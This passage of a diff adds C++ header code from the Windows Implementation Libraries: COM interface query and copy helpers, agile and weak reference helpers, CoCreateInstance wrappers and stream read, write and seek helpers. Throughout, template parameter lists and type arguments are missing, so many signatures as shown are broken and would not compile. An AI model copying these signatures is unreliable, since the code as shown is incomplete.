details::query_policy_t::query(raw, riid, ptrResult); + __analysis_assume(SUCCEEDED(hr) || (*ptrResult == nullptr)); + RETURN_HR(hr); + } + //! @} + + //! @name Stand-alone try query helpers + //! * Source pointer can be raw interface pointer, any wil com_ptr, or WRL ComPtr + //! * Attempts to retrieves the requested interface + //! * AV if the source pointer is null + //! * Produce null if the requested interface is unsupported + //! * bool returns 'true' when query was successful (non-null return result) + //! + //! See @ref page_query for more information. + //! @{ + +#ifdef WIL_ENABLE_EXCEPTIONS + //! Attempts a query for the specified interface and returns an exception-based wil::com_ptr to that interface (returns null if unsupported). + //! See @ref page_query for more information. + //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), should not be null + //! @tparam U Represents the interface being queried + //! @return A `wil::com_ptr` pointer to the given interface `U`. The returned pointer is null if the requested interface was not supported. + template + inline com_ptr try_com_query(T&& ptrSource) + { + auto raw = com_raw_ptr(wistd::forward(ptrSource)); + return com_ptr(raw, details::tag_try_com_query()); + } +#endif + + //! Attempts a query for the specified interface and returns an fail-fast wil::com_ptr_failfast to that interface (returns null if unsupported). + //! See @ref page_query for more information. + //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), should not be null + //! @tparam U Represents the interface being queried + //! @return A `wil::com_ptr_failfast` pointer to the given interface `U`. The returned pointer is null if the requested interface was not supported. + template + inline com_ptr_failfast try_com_query_failfast(T&& ptrSource) + { + auto raw = com_raw_ptr(wistd::forward(ptrSource)); + return com_ptr_failfast(raw, details::tag_try_com_query()); + } + + //! Attempts a query for the specified interface and returns an error-code-based wil::com_ptr_nothrow to that interface (returns null if unsupported). + //! See @ref page_query for more information. + //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), should not be null + //! @tparam U Represents the interface being queried + //! @return A `wil::com_ptr_nothrow` pointer to the given interface `U`. The returned pointer is null if the requested interface was not supported. + template + inline com_ptr_nothrow try_com_query_nothrow(T&& ptrSource) + { + auto raw = com_raw_ptr(wistd::forward(ptrSource)); + return com_ptr_nothrow(raw, details::tag_try_com_query()); + } + + //! Attempts a query for the interface specified by the type of the output parameter (returns `false` if unsupported). + //! See @ref page_query for more information. + //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), should not be null. + //! @param ptrResult Represents the output pointer to populate. If the interface is unsupported, the returned pointer will be null. + //! @return A bool value representing whether the query was successful (non-null return result). + template + _Success_return_ bool try_com_query_to(T&& ptrSource, _COM_Outptr_ U** ptrResult) + { + auto raw = com_raw_ptr(wistd::forward(ptrSource)); + return (SUCCEEDED(details::query_policy_t::query(raw, ptrResult))); + } + + //! Attempts a query for the interface specified by the type of the output parameter (returns `false` if unsupported). + //! See @ref page_query for more information. + //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), should not be null. + //! @param riid The interface to query for + //! @param ptrResult Represents the output pointer to populate. If the interface is unsupported, the returned pointer will be null. + //! @return A bool value representing whether the query was successful (non-null return result). + template + _Success_return_ bool try_com_query_to(T&& ptrSource, REFIID riid, _COM_Outptr_ void** ptrResult) + { + auto raw = com_raw_ptr(wistd::forward(ptrSource)); + return (SUCCEEDED(details::query_policy_t::query(raw, riid, ptrResult))); + } + //! @} + + + //! @name Stand-alone copy helpers + //! * Source pointer can be raw interface pointer, any wil com_ptr, or WRL ComPtr + //! * Retrieves the requested interface + //! * Succeeds with null if the source pointer is null + //! * Produce an error if the requested interface is unsupported + //! + //! See @ref page_query for more information + //! @{ + +#ifdef WIL_ENABLE_EXCEPTIONS + //! Queries for the specified interface and returns an exception-based wil::com_ptr to that interface (exception if unsupported, preserves null). + //! See @ref page_query for more information. + //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), may be null + //! @tparam U Represents the interface being queried + //! @return A `wil::com_ptr` pointer to the given interface `U`. The returned pointer will be null only if the source is null. + template + inline com_ptr com_copy(T&& ptrSource) + { + auto raw = com_raw_ptr(wistd::forward(ptrSource)); + return com_ptr(raw, details::tag_com_copy()); + } +#endif + + //! Queries for the specified interface and returns a fail-fast-based wil::com_ptr_failfast to that interface (fail-fast if unsupported, preserves null). + //! See @ref page_query for more information. + //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), may be null + //! @tparam U Represents the interface being queried + //! @return A `wil::com_ptr` pointer to the given interface `U`. The returned pointer will be null only if the source is null. + template + inline com_ptr_failfast com_copy_failfast(T&& ptrSource) + { + auto raw = com_raw_ptr(wistd::forward(ptrSource)); + return com_ptr_failfast(raw, details::tag_com_copy()); + } + +#ifdef WIL_ENABLE_EXCEPTIONS + //! Queries for the interface specified by the type of the output parameter (throws an exception if unsupported, preserves null). + //! See @ref page_query for more information. + //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), may be null + //! @param ptrResult Represents the output pointer to populate. The returned pointer will be null only if the source is null. + template + _Success_true_ void com_copy_to(T&& ptrSource, _COM_Outptr_result_maybenull_ U** ptrResult) + { + auto raw = com_raw_ptr(wistd::forward(ptrSource)); + if (raw) + { + THROW_IF_FAILED(details::query_policy_t::query(raw, ptrResult)); + return; + } + *ptrResult = nullptr; + } +#endif + + //! Queries for the interface specified by the type of the output parameter (fail-fast if unsupported, preserves null). + //! See @ref page_query for more information. + //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), may be null + //! @param ptrResult Represents the output pointer to populate. The returned pointer will be null only if the source is null. + template + _Success_true_ void com_copy_to_failfast(T&& ptrSource, _COM_Outptr_result_maybenull_ U** ptrResult) + { + auto raw = com_raw_ptr(wistd::forward(ptrSource)); + if (raw) + { + FAIL_FAST_IF_FAILED(details::query_policy_t::query(raw, ptrResult)); + return; + } + *ptrResult = nullptr; + } + + //! Queries for the interface specified by the type of the output parameter (returns an error if unsupported, preserves null). + //! See @ref page_query for more information. + //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), may be null + //! @param ptrResult Represents the output pointer to populate. The returned pointer will be null upon failure or if the source is null. + //! @return Returns an HRESULT representing whether the query succeeded (returns S_OK if the source is null). + template + HRESULT com_copy_to_nothrow(T&& ptrSource, _COM_Outptr_result_maybenull_ U** ptrResult) + { + auto raw = com_raw_ptr(wistd::forward(ptrSource)); + if (raw) + { + RETURN_HR(details::query_policy_t::query(raw, ptrResult)); + } + *ptrResult = nullptr; + return S_OK; + } + +#ifdef WIL_ENABLE_EXCEPTIONS + //! Queries for the interface specified by the given REFIID parameter (throws an exception if unsupported, preserves null). + //! See @ref page_query for more information. + //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), may be null + //! @param riid The interface to query for + //! @param ptrResult Represents the output pointer to populate. The returned pointer will be null only if the source is null. + template + _Success_true_ void com_copy_to(T&& ptrSource, REFIID riid, _COM_Outptr_result_maybenull_ void** ptrResult) + { + auto raw = com_raw_ptr(wistd::forward(ptrSource)); + if (raw) + { + THROW_IF_FAILED(details::query_policy_t::query(raw, riid, ptrResult)); + return; + } + *ptrResult = nullptr; + } +#endif + + //! Queries for the interface specified by the given REFIID parameter (fail-fast if unsupported, preserves null). + //! See @ref page_query for more information. + //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), may be null + //! @param riid The interface to query for + //! @param ptrResult Represents the output pointer to populate. The returned pointer will be null only if the source is null. + template + _Success_true_ void com_copy_to_failfast(T&& ptrSource, REFIID riid, _COM_Outptr_result_maybenull_ void** ptrResult) + { + auto raw = com_raw_ptr(wistd::forward(ptrSource)); + if (raw) + { + FAIL_FAST_IF_FAILED(details::query_policy_t::query(raw, riid, ptrResult)); + return; + } + *ptrResult = nullptr; + } + + //! Queries for the interface specified by the given REFIID parameter (returns an error if unsupported, preserves null). + //! See @ref page_query for more information. + //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), may be null + //! @param riid The interface to query for + //! @param ptrResult Represents the output pointer to populate. The returned pointer will be null upon failure or if the source is null. + //! @return Returns an HRESULT representing whether the query succeeded (returns S_OK if the source is null). + template + HRESULT com_copy_to_nothrow(T&& ptrSource, REFIID riid, _COM_Outptr_result_maybenull_ void** ptrResult) + { + auto raw = com_raw_ptr(wistd::forward(ptrSource)); + if (raw) + { + RETURN_HR(details::query_policy_t::query(raw, riid, ptrResult)); + } + *ptrResult = nullptr; + return S_OK; + } + //! @} + + + //! @name Stand-alone try copy helpers + //! * Source pointer can be raw interface pointer, any wil com_ptr, or WRL ComPtr + //! * Attempts to retrieves the requested interface + //! * Succeeds with null if the source pointer is null + //! * Produce null if the requested interface is unsupported + //! * bool returns 'true' when query was successful (non-null return result) + //! + //! See @ref page_query for more information. + //! @{ + +#ifdef WIL_ENABLE_EXCEPTIONS + //! Attempts a query for the specified interface and returns an exception-based wil::com_ptr to that interface (returns null if unsupported, preserves null). + //! See @ref page_query for more information. + //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), may be null + //! @tparam U Represents the interface being queried + //! @return A `wil::com_ptr` pointer to the given interface `U`. The returned pointer is null if the requested interface was not supported. + template + inline com_ptr try_com_copy(T&& ptrSource) + { + auto raw = com_raw_ptr(wistd::forward(ptrSource)); + return com_ptr(raw, details::tag_try_com_copy()); + } +#endif + + //! Attempts a query for the specified interface and returns an fail-fast wil::com_ptr_failfast to that interface (returns null if unsupported, preserves null). + //! See @ref page_query for more information. + //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), may be null + //! @tparam U Represents the interface being queried + //! @return A `wil::com_ptr_failfast` pointer to the given interface `U`. The returned pointer is null if the requested interface was not supported. + template + inline com_ptr_failfast try_com_copy_failfast(T&& ptrSource) + { + auto raw = com_raw_ptr(wistd::forward(ptrSource)); + return com_ptr_failfast(raw, details::tag_try_com_copy()); + } + + //! Attempts a query for the specified interface and returns an error-code-based wil::com_ptr_nothrow to that interface (returns null if unsupported, preserves null). + //! See @ref page_query for more information. + //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), may be null + //! @tparam U Represents the interface being queried + //! @return A `wil::com_ptr_nothrow` pointer to the given interface `U`. The returned pointer is null if the requested interface was not supported. + template + inline com_ptr_nothrow try_com_copy_nothrow(T&& ptrSource) + { + auto raw = com_raw_ptr(wistd::forward(ptrSource)); + return com_ptr_nothrow(raw, details::tag_try_com_copy()); + } + + //! Attempts a query for the interface specified by the type of the output parameter (returns `false` if unsupported, preserves null). + //! See @ref page_query for more information. + //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), may be null. + //! @param ptrResult Represents the output pointer to populate. If the interface is unsupported, the returned pointer will be null. + //! @return A bool value representing whether the query was successful (non-null return result). + template + _Success_return_ bool try_com_copy_to(T&& ptrSource, _COM_Outptr_result_maybenull_ U** ptrResult) + { + auto raw = com_raw_ptr(wistd::forward(ptrSource)); + if (raw) + { + return SUCCEEDED(details::query_policy_t::query(raw, ptrResult)); + } + *ptrResult = nullptr; + return false; + } + + //! Attempts a query for the interface specified by the type of the output parameter (returns `false` if unsupported, preserves null). + //! See @ref page_query for more information. + //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), may be null. + //! @param riid The interface to query for + //! @param ptrResult Represents the output pointer to populate. If the interface is unsupported, the returned pointer will be null. + //! @return A bool value representing whether the query was successful (non-null return result). + template + _Success_return_ bool try_com_copy_to(T&& ptrSource, REFIID riid, _COM_Outptr_result_maybenull_ void** ptrResult) + { + auto raw = com_raw_ptr(wistd::forward(ptrSource)); + if (raw) + { + return SUCCEEDED(details::query_policy_t::query(raw, riid, ptrResult)); + } + *ptrResult = nullptr; + return false; + } + //! @} + +#ifdef __cplusplus_winrt + //! @name Stand-alone helpers to query for CX ref ("hat") types from ABI COM types. + //! * Source pointer can be raw interface pointer, any wil com_ptr, or WRL ComPtr + //! * Retrieves the requested C++/CX interface or ref class. + //! * Preserves null if the source pointer is null + //! * Produce an error if the requested interface is unsupported + //! + //! See @ref page_query for more information + //! @{ + + template + ::Platform::Object^ cx_object_from_abi(T&& ptr) WI_NOEXCEPT + { + IInspectable* const inspectable = com_raw_ptr(wistd::forward(ptr)); + return reinterpret_cast<::Platform::Object^>(inspectable); + } + + template + inline U^ cx_safe_cast(T&& ptrSource) + { + return safe_cast(cx_object_from_abi(wistd::forward(ptrSource))); + } + + template + inline U^ cx_dynamic_cast(T&& ptrSource) WI_NOEXCEPT + { + return dynamic_cast(cx_object_from_abi(wistd::forward(ptrSource))); + } + //! @} +#endif + + + //***************************************************************************** + // Agile References + //***************************************************************************** + +#if (NTDDI_VERSION >= NTDDI_WINBLUE) +#ifdef WIL_ENABLE_EXCEPTIONS + //! Agile reference to a COM interface, errors throw exceptions (see @ref com_ptr_t and @ref com_agile_query for details) + using com_agile_ref = com_ptr; +#endif + //! Agile reference to a COM interface, errors return error codes (see @ref com_ptr_t and @ref com_agile_query_nothrow for details) + using com_agile_ref_nothrow = com_ptr_nothrow; + //! Agile reference to a COM interface, errors fail fast (see @ref com_ptr_t and @ref com_agile_query_failfast for details) + using com_agile_ref_failfast = com_ptr_failfast; + + //! @name Create agile reference helpers + //! * Attempts to retrieve an agile reference to the requested interface (see [RoGetAgileReference](https://msdn.microsoft.com/en-us/library/dn269839.aspx)) + //! * Source pointer can be raw interface pointer, any wil com_ptr, or WRL ComPtr + //! * `query` methods AV if the source pointer is null + //! * `copy` methods succeed with null if the source pointer is null + //! * Accept optional [AgileReferenceOptions](https://msdn.microsoft.com/en-us/library/dn269836.aspx) + //! + //! See @ref page_query for more information on resolving an agile ref + //! @{ + +#ifdef WIL_ENABLE_EXCEPTIONS + //! return a com_agile_ref representing the given source pointer (throws an exception on failure) + template + com_agile_ref com_agile_query(T&& ptrSource, AgileReferenceOptions options = AGILEREFERENCE_DEFAULT) + { + auto raw = com_raw_ptr(wistd::forward(ptrSource)); + com_agile_ref agileRef; + THROW_IF_FAILED(::RoGetAgileReference(options, __uuidof(raw), raw, &agileRef)); + return agileRef; + } +#endif + + //! return a com_agile_ref_failfast representing the given source pointer (fail-fast on failure) + template + com_agile_ref_failfast com_agile_query_failfast(T&& ptrSource, AgileReferenceOptions options = AGILEREFERENCE_DEFAULT) + { + auto raw = com_raw_ptr(wistd::forward(ptrSource)); + com_agile_ref_failfast agileRef; + FAIL_FAST_IF_FAILED(::RoGetAgileReference(options, __uuidof(raw), raw, &agileRef)); + return agileRef; + } + + //! return a com_agile_ref_nothrow representing the given source pointer (returns an HRESULT on failure) + template + HRESULT com_agile_query_nothrow(T&& ptrSource, _COM_Outptr_ IAgileReference** ptrResult, AgileReferenceOptions options = AGILEREFERENCE_DEFAULT) + { + auto raw = com_raw_ptr(wistd::forward(ptrSource)); + auto hr = ::RoGetAgileReference(options, __uuidof(raw), raw, ptrResult); + __analysis_assume(SUCCEEDED(hr) || (*ptrResult == nullptr)); + RETURN_HR(hr); + } + +#ifdef WIL_ENABLE_EXCEPTIONS + //! return a com_agile_ref representing the given source pointer (throws an exception on failure, source maybe null) + template + com_agile_ref com_agile_copy(T&& ptrSource, AgileReferenceOptions options = AGILEREFERENCE_DEFAULT) + { + auto raw = com_raw_ptr(wistd::forward(ptrSource)); + com_agile_ref agileRef; + if (raw) + { + THROW_IF_FAILED(::RoGetAgileReference(options, __uuidof(raw), raw, &agileRef)); + } + return agileRef; + } +#endif + + //! return a com_agile_ref_failfast representing the given source pointer (fail-fast on failure, source maybe null) + template + com_agile_ref_failfast com_agile_copy_failfast(T&& ptrSource, AgileReferenceOptions options = AGILEREFERENCE_DEFAULT) + { + auto raw = com_raw_ptr(wistd::forward(ptrSource)); + com_agile_ref_failfast agileRef; + if (raw) + { + FAIL_FAST_IF_FAILED(::RoGetAgileReference(options, __uuidof(raw), raw, &agileRef)); + } + return agileRef; + } + + //! return an agile ref (com_agile_ref_XXX or other representation) representing the given source pointer (return error on failure, source maybe null) + template + HRESULT com_agile_copy_nothrow(T&& ptrSource, _COM_Outptr_result_maybenull_ IAgileReference** ptrResult, AgileReferenceOptions options = AGILEREFERENCE_DEFAULT) + { + auto raw = com_raw_ptr(wistd::forward(ptrSource)); + if (raw) + { + RETURN_HR(::RoGetAgileReference(options, __uuidof(raw), raw, ptrResult)); + } + *ptrResult = nullptr; + return S_OK; + } + //! @} +#endif + + //***************************************************************************** + // Weak References + //***************************************************************************** + + namespace details + { + template + HRESULT GetWeakReference(T* ptr, _COM_Outptr_ IWeakReference** weakReference) + { + static_assert(!wistd::is_same::value, "Cannot get an IWeakReference to an IWeakReference"); + + *weakReference = nullptr; + com_ptr_nothrow source; + HRESULT hr = ptr->QueryInterface(IID_PPV_ARGS(&source)); + if (SUCCEEDED(hr)) + { + hr = source->GetWeakReference(weakReference); + } + return hr; + } + } + +#ifdef WIL_ENABLE_EXCEPTIONS + //! Weak reference to a COM interface, errors throw exceptions (see @ref com_ptr_t and @ref com_weak_query for details) + using com_weak_ref = com_ptr; +#endif + //! Weak reference to a COM interface, errors return error codes (see @ref com_ptr_t and @ref com_weak_query_nothrow for details) + using com_weak_ref_nothrow = com_ptr_nothrow; + //! Weak reference to a COM interface, errors fail fast (see @ref com_ptr_t and @ref com_weak_query_failfast for details) + using com_weak_ref_failfast = com_ptr_failfast; + + //! @name Create weak reference helpers + //! * Attempts to retrieve a weak reference to the requested interface (see WRL's similar [WeakRef](https://msdn.microsoft.com/en-us/library/br244853.aspx)) + //! * Source pointer can be raw interface pointer, any wil com_ptr, or WRL ComPtr + //! * `query` methods AV if the source pointer is null + //! * `copy` methods succeed with null if the source pointer is null + //! + //! See @ref page_query for more information on resolving a weak ref + //! @{ + +#ifdef WIL_ENABLE_EXCEPTIONS + //! return a com_weak_ref representing the given source pointer (throws an exception on failure) + template + com_weak_ref com_weak_query(T&& ptrSource) + { + auto raw = com_raw_ptr(wistd::forward(ptrSource)); + com_weak_ref weakRef; + THROW_IF_FAILED(details::GetWeakReference(raw, &weakRef)); + return weakRef; + } +#endif + + //! return a com_weak_ref_failfast representing the given source pointer (fail-fast on failure) + template + com_weak_ref_failfast com_weak_query_failfast(T&& ptrSource) + { + auto raw = com_raw_ptr(wistd::forward(ptrSource)); + com_weak_ref_failfast weakRef; + FAIL_FAST_IF_FAILED(details::GetWeakReference(raw, &weakRef)); + return weakRef; + } + + //! return a com_weak_ref_nothrow representing the given source pointer (returns an HRESULT on failure) + template + HRESULT com_weak_query_nothrow(T&& ptrSource, _COM_Outptr_ IWeakReference** ptrResult) + { + auto raw = com_raw_ptr(wistd::forward(ptrSource)); + auto hr = details::GetWeakReference(raw, ptrResult); + __analysis_assume(SUCCEEDED(hr) || (*ptrResult == nullptr)); + RETURN_HR(hr); + } + +#ifdef WIL_ENABLE_EXCEPTIONS + //! return a com_weak_ref representing the given source pointer (throws an exception on failure, source maybe null) + template + com_weak_ref com_weak_copy(T&& ptrSource) + { + auto raw = com_raw_ptr(wistd::forward(ptrSource)); + com_weak_ref weakRef; + if (raw) + { + THROW_IF_FAILED(details::GetWeakReference(raw, &weakRef)); + } + return weakRef; + } +#endif + + //! return a com_weak_ref_failfast representing the given source pointer (fail-fast on failure, source maybe null) + template + com_weak_ref_failfast com_weak_copy_failfast(T&& ptrSource) + { + auto raw = com_raw_ptr(wistd::forward(ptrSource)); + com_weak_ref_failfast weakRef; + if (raw) + { + FAIL_FAST_IF_FAILED(details::GetWeakReference(raw, &weakRef)); + } + return weakRef; + } + + //! return a com_weak_ref_failfast representing the given source pointer (fail-fast on failure, source maybe null) + template + HRESULT com_weak_copy_nothrow(T&& ptrSource, _COM_Outptr_result_maybenull_ IWeakReference** ptrResult) + { + auto raw = com_raw_ptr(wistd::forward(ptrSource)); + if (raw) + { + RETURN_HR(details::GetWeakReference(raw, ptrResult)); + } + *ptrResult = nullptr; + return S_OK; + } + +#pragma region COM Object Helpers + + template + inline bool is_agile(T&& ptrSource) + { + wil::com_ptr_nothrow agileObject; + return SUCCEEDED(com_raw_ptr(wistd::forward(ptrSource))->QueryInterface(IID_PPV_ARGS(&agileObject))); + } + + /** constructs a COM object using an CLSID on a specific interface or IUnknown.*/ + template + wil::com_ptr_t CoCreateInstance(REFCLSID rclsid, DWORD dwClsContext = CLSCTX_INPROC_SERVER) + { + wil::com_ptr_t result; + error_policy::HResult(::CoCreateInstance(rclsid, nullptr, dwClsContext, IID_PPV_ARGS(&result))); + return result; + } + + /** constructs a COM object using the class as the identifier (that has an associated CLSID) on a specific interface or IUnknown. */ + template + wil::com_ptr_t CoCreateInstance(DWORD dwClsContext = CLSCTX_INPROC_SERVER) + { + return CoCreateInstance(__uuidof(Class), dwClsContext); + } + + /** constructs a COM object using an CLSID on a specific interface or IUnknown. */ + template + wil::com_ptr_failfast CoCreateInstanceFailFast(REFCLSID rclsid, DWORD dwClsContext = CLSCTX_INPROC_SERVER) + { + return CoCreateInstance(rclsid, dwClsContext); + } + + /** constructs a COM object using the class as the identifier (that has an associated CLSID) on a specific interface or IUnknown. */ + template + wil::com_ptr_failfast CoCreateInstanceFailFast(DWORD dwClsContext = CLSCTX_INPROC_SERVER) + { + return CoCreateInstanceFailFast(__uuidof(Class), dwClsContext); + } + + /** constructs a COM object using an CLSID on a specific interface or IUnknown. + Note, failures are reported as a null result, the HRESULT is lost. */ + template + wil::com_ptr_nothrow CoCreateInstanceNoThrow(REFCLSID rclsid, DWORD dwClsContext = CLSCTX_INPROC_SERVER) + { + return CoCreateInstance(rclsid, dwClsContext); + } + + /** constructs a COM object using the class as the identifier (that has an associated CLSID) on a specific interface or IUnknown. + Note, failures are reported as a null result, the HRESULT is lost. */ + template + wil::com_ptr_nothrow CoCreateInstanceNoThrow(DWORD dwClsContext = CLSCTX_INPROC_SERVER) + { + return CoCreateInstanceNoThrow(__uuidof(Class), dwClsContext); + } + + /** constructs a COM object class factory using an CLSID on IClassFactory or a specific interface. */ + template + wil::com_ptr_t CoGetClassObject(REFCLSID rclsid, DWORD dwClsContext = CLSCTX_INPROC_SERVER) + { + wil::com_ptr_t result; + error_policy::HResult(CoGetClassObject(rclsid, dwClsContext, nullptr, IID_PPV_ARGS(&result))); + return result; + } + + /** constructs a COM object class factory using the class as the identifier (that has an associated CLSID) + on IClassFactory or a specific interface. */ + template + wil::com_ptr_t CoGetClassObject(DWORD dwClsContext = CLSCTX_INPROC_SERVER) + { + return CoGetClassObject(__uuidof(Class), dwClsContext); + } + + /** constructs a COM object class factory using an CLSID on IClassFactory or a specific interface. */ + template + wil::com_ptr_failfast CoGetClassObjectFailFast(REFCLSID rclsid, DWORD dwClsContext = CLSCTX_INPROC_SERVER) + { + return CoGetClassObject(rclsid, dwClsContext); + } + + /** constructs a COM object class factory using the class as the identifier (that has an associated CLSID) + on IClassFactory or a specific interface. */ + template + wil::com_ptr_failfast CoGetClassObjectFailFast(DWORD dwClsContext = CLSCTX_INPROC_SERVER) + { + return CoGetClassObjectFailFast(__uuidof(Class), dwClsContext); + } + + /** constructs a COM object class factory using an CLSID on IClassFactory or a specific interface. + Note, failures are reported as a null result, the HRESULT is lost. */ + template + wil::com_ptr_nothrow CoGetClassObjectNoThrow(REFCLSID rclsid, DWORD dwClsContext = CLSCTX_INPROC_SERVER) + { + return CoGetClassObject(rclsid, dwClsContext); + } + + /** constructs a COM object class factory using the class as the identifier (that has an associated CLSID) + on IClassFactory or a specific interface. + Note, failures are reported as a null result, the HRESULT is lost. */ + template + wil::com_ptr_nothrow CoGetClassObjectNoThrow(DWORD dwClsContext = CLSCTX_INPROC_SERVER) + { + return CoGetClassObjectNoThrow(__uuidof(Class), dwClsContext); + } +#pragma endregion + +#pragma region Stream helpers + + /** Read data from a stream into a buffer. + Reads up to a certain number of bytes into a buffer. Returns the amount of data written, which + may be less than the amount requested if the stream ran out. + ~~~~ + IStream* source = // ... + ULONG dataBlob = 0; + size_t read = 0; + RETURN_IF_FAILED(wil::stream_read_partial_nothrow(source, &dataBlob, sizeof(dataBlob), &read)); + if (read != sizeof(dataBlob)) + { + // end of stream, probably + } + else if (dataBlob == 0x8675309) + { + DoThing(dataBlob); + } + ~~~~ + @param stream The stream from which to read at most `size` bytes. + @param data A buffer into which up to `size` bytes will be read + @param size The size, in bytes, of the buffer pointed to by `data` + @param wrote The amount, in bytes, of data read from `stream` into `data` + */ + inline HRESULT stream_read_partial_nothrow(_In_ ISequentialStream* stream, _Out_writes_bytes_to_(size, *wrote) void* data, unsigned long size, unsigned long *wrote) + { + RETURN_HR(stream->Read(data, size, wrote)); + } + + /** Read an exact number of bytes from a stream into a buffer. + Fails if the stream didn't read all the bytes requested. + ~~~~ + IStream* source = // ... + ULONG dataBlob = 0; + RETURN_IF_FAILED(wil::stream_read_nothrow(source, &dataBlob, sizeof(dataBlob))); + if (dataBlob == 0x8675309) + { + DoThing(dataBlob); + } + ~~~~ + @param stream The stream from which to read at most `size` bytes. + @param data A buffer into which up to `size` bytes will be read + @param size The size, in bytes, of the buffer pointed to by `data` + @return The underlying stream read result, or HRESULT_FROM_WIN32(ERROR_INVALID_DATA) if the stream + did not read the complete buffer. + */ + inline HRESULT stream_read_nothrow(_In_ ISequentialStream* stream, _Out_writes_bytes_all_(size) void* data, unsigned long size) + { + unsigned long didRead; + RETURN_IF_FAILED(stream_read_partial_nothrow(stream, data, size, &didRead)); + RETURN_HR_IF(HRESULT_FROM_WIN32(ERROR_INVALID_DATA), didRead != size); + + return S_OK; + } + + /** Read from a stream into a POD type. + Fails if the stream didn't have enough bytes. + ~~~~ + IStream* source = // ... + MY_HEADER header{}; + RETURN_IF_FAILED(wil::stream_read_nothrow(source, &header)); + if (header.Version == 0x8675309) + { + ConsumeOldHeader(stream, header); + } + ~~~~ + @param stream The stream from which to read at most `size` bytes. + @param pThing The POD data type to read from the stream. + @return The underlying stream read result, or HRESULT_FROM_WIN32(ERROR_INVALID_DATA) if the stream + did not read the complete buffer. + */ + template HRESULT stream_read_nothrow(_In_ ISequentialStream* stream, _Out_ T* pThing) + { + static_assert(__is_pod(T), "Type must be POD."); + return stream_read_nothrow(stream, pThing, sizeof(T)); + } + + /** Write an exact number of bytes to a stream from a buffer. + Fails if the stream didn't read write the bytes requested. + ~~~~ + IStream* source = // ... + ULONG dataBlob = 0x8675309; + RETURN_IF_FAILED(wil::stream_write_nothrow(source, &dataBlob, sizeof(dataBlob))); + ~~~~ + @param stream The stream to which to write at most `size` bytes. + @param data A buffer from which up to `size` bytes will be read + @param size The size, in bytes, of the buffer pointed to by `data` + */ + inline HRESULT stream_write_nothrow(_In_ ISequentialStream* stream, _In_reads_bytes_(size) const void* data, unsigned long size) + { + unsigned long wrote; + RETURN_IF_FAILED(stream->Write(data, size, &wrote)); + RETURN_HR_IF(HRESULT_FROM_WIN32(ERROR_INVALID_DATA), wrote != size); + + return S_OK; + } + + /** Write a POD type to a stream. + Fails if not all the bytes were written. + ~~~~ + IStream* source = // ... + MY_HEADER header { 0x8675309, HEADER_FLAG_1 | HEADER_FLAG_2 }; + RETURN_IF_FAILED(wil::stream_write_nothrow(source, header)); + + ULONGLONG value = 16; + RETURN_IF_FAILED(wil::stream_write_nothrow(source, value)); + ~~~~ + @param stream The stream to which to write `thing` + @param thing The POD data type to write to the stream. + */ + template inline HRESULT stream_write_nothrow(_In_ ISequentialStream* stream, const T& thing) + { + return stream_write_nothrow(stream, wistd::addressof(thing), sizeof(thing)); + } + + /** Retrieve the size of this stream, in bytes + ~~~~ + IStream* source = // ... + ULONGLONG size; + RETURN_IF_FAILED(wil::stream_size_nothrow(source, &size)); + RETURN_HR_IF(E_INVALIDARG, size > ULONG_MAX); + ~~~~ + @param stream The stream whose size is to be returned in `value` + @param value The size, in bytes, reported by `stream` + */ + inline HRESULT stream_size_nothrow(_In_ IStream* stream, _Out_ unsigned long long* value) + { + STATSTG st{}; + RETURN_IF_FAILED(stream->Stat(&st, STATFLAG_NONAME)); + *value = st.cbSize.QuadPart; + + return S_OK; + } + + /** Seek a stream to a relative offset or absolute position + ~~~~ + IStream* source = // ... + unsigned long long landed; + RETURN_IF_FAILED(wil::stream_seek_nothrow(source, 16, STREAM_SEEK_CUR, &landed)); + RETURN_IF_FAILED(wil::stream_seek_nothrow(source, -5, STREAM_SEEK_END)); + RETURN_IF_FAILED(wil::stream_seek_nothrow(source, LLONG_MAX, STREAM_SEEK_CUR)); + ~~~~ + @param stream The stream to seek + @param offset The position, in bytes from the current position, to seek + @param from The starting point from which to seek, from the STREAM_SEEK_* set of values + @param value Optionally recieves the new absolute position from the stream + */ + inline HRESULT stream_seek_nothrow(_In_ IStream* stream, long long offset, unsigned long from, _Out_opt_ unsigned long long* value = nullptr) + { + LARGE_INTEGER amount; + ULARGE_INTEGER landed{}; + amount.QuadPart = offset; + RETURN_IF_FAILED(stream->Seek(amount, from, value ? &landed : nullptr)); + assign_to_opt_param(value, landed.QuadPart); + + return S_OK; + } + + /** Seek a stream to an absolute offset + ~~~~ + IStream* source = // ... + RETURN_HR(wil::stream_set_position_nothrow(source, 16)); + ~~~~ + @param stream The stream whose size is to be returned in `value` + @param offset The position, in bytes from the start of the stream, to seek to + @param value Optionally recieves the new absolute position from the stream + */ + inline HRESULT stream_set_position_nothrow(_In_ IStream* stream, unsigned long long offset, _Out_opt_ unsigned long long* value = nullptr) + { + // IStream::Seek(..., _SET) interprets the first parameter as an unsigned value. + return stream_seek_nothrow(stream, static_cast(offset), STREAM_SEEK_SET, value); + } + + /** Seek a relative amount in a stream + ~~~~ + IStream* source = // ... + RETURN_IF_FAILED(wil::stream_seek_from_current_position_nothrow(source, -16)); + + ULONGLONG newPosition; + 